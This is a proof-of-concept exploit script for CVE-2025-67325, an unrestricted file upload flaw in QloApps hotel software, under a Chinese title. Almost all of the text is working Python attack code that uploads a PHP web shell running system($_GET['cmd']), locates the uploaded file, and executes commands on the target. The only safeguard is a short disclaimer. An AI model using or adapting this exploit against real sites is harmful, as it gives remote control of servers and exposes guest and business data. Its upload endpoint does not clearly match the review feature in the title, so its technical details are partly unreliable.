CVE-2025-67325 QloApps酒店评论功能无限制文件上传导致远程代码执行

#!/usr/bin/env python3 """ CVE-2025-67325 PoC - QloApps Unrestricted File Upload RCE Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import re # Malicious PHP payload for RCE PHP_PAYLOAD = "<?php system($_GET['cmd']); ?>" def exploit(target_url, hotel_id='1'): """ Exploit the unrestricted file upload vulnerability in QloApps Args: target_url: Base URL of the vulnerable QloApps instance hotel_id: Hotel ID for the review feature """ upload_url = f"{target_url}/modules/blockmysales/ajax.php" # Prepare the malicious file files = { 'myfile': ('shell.php', PHP_PAYLOAD, 'application/x-php') } data = { 'action': 'upload', 'id_hotel': hotel_id } try: print(f"[*] Uploading malicious file to {upload_url}...") response = requests.post(upload_url, files=files, data=data, timeout=30) # Extract uploaded file path from response path_match = re.search(r'upload\\/([a-zA-Z0-9_]+\\.php)', response.text) if path_match: uploaded_file = path_match.group(1) shell_url = f"{target_url}/upload/{uploaded_file}" print(f"[+] File uploaded successfully!") print(f"[+] Shell URL: {shell_url}") print(f"[*] Testing RCE with command 'id'...") # Test RCE test_url = f"{shell_url}?cmd=id" rce_response = requests.get(test_url, timeout=30) if rce_response.status_code == 200: print(f"[+] RCE SUCCESSFUL!") print(f"[+] Command output: {rce_response.text}") return shell_url else: print(f"[-] Upload may have failed. Response: {response.text[:500]}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url> [hotel_id]") print(f"Example: {sys.argv[0]} http://vulnerable-site.com 1") sys.exit(1) target = sys.argv[1].rstrip('/') hotel = sys.argv[2] if len(sys.argv) > 2 else '1' exploit(target, hotel)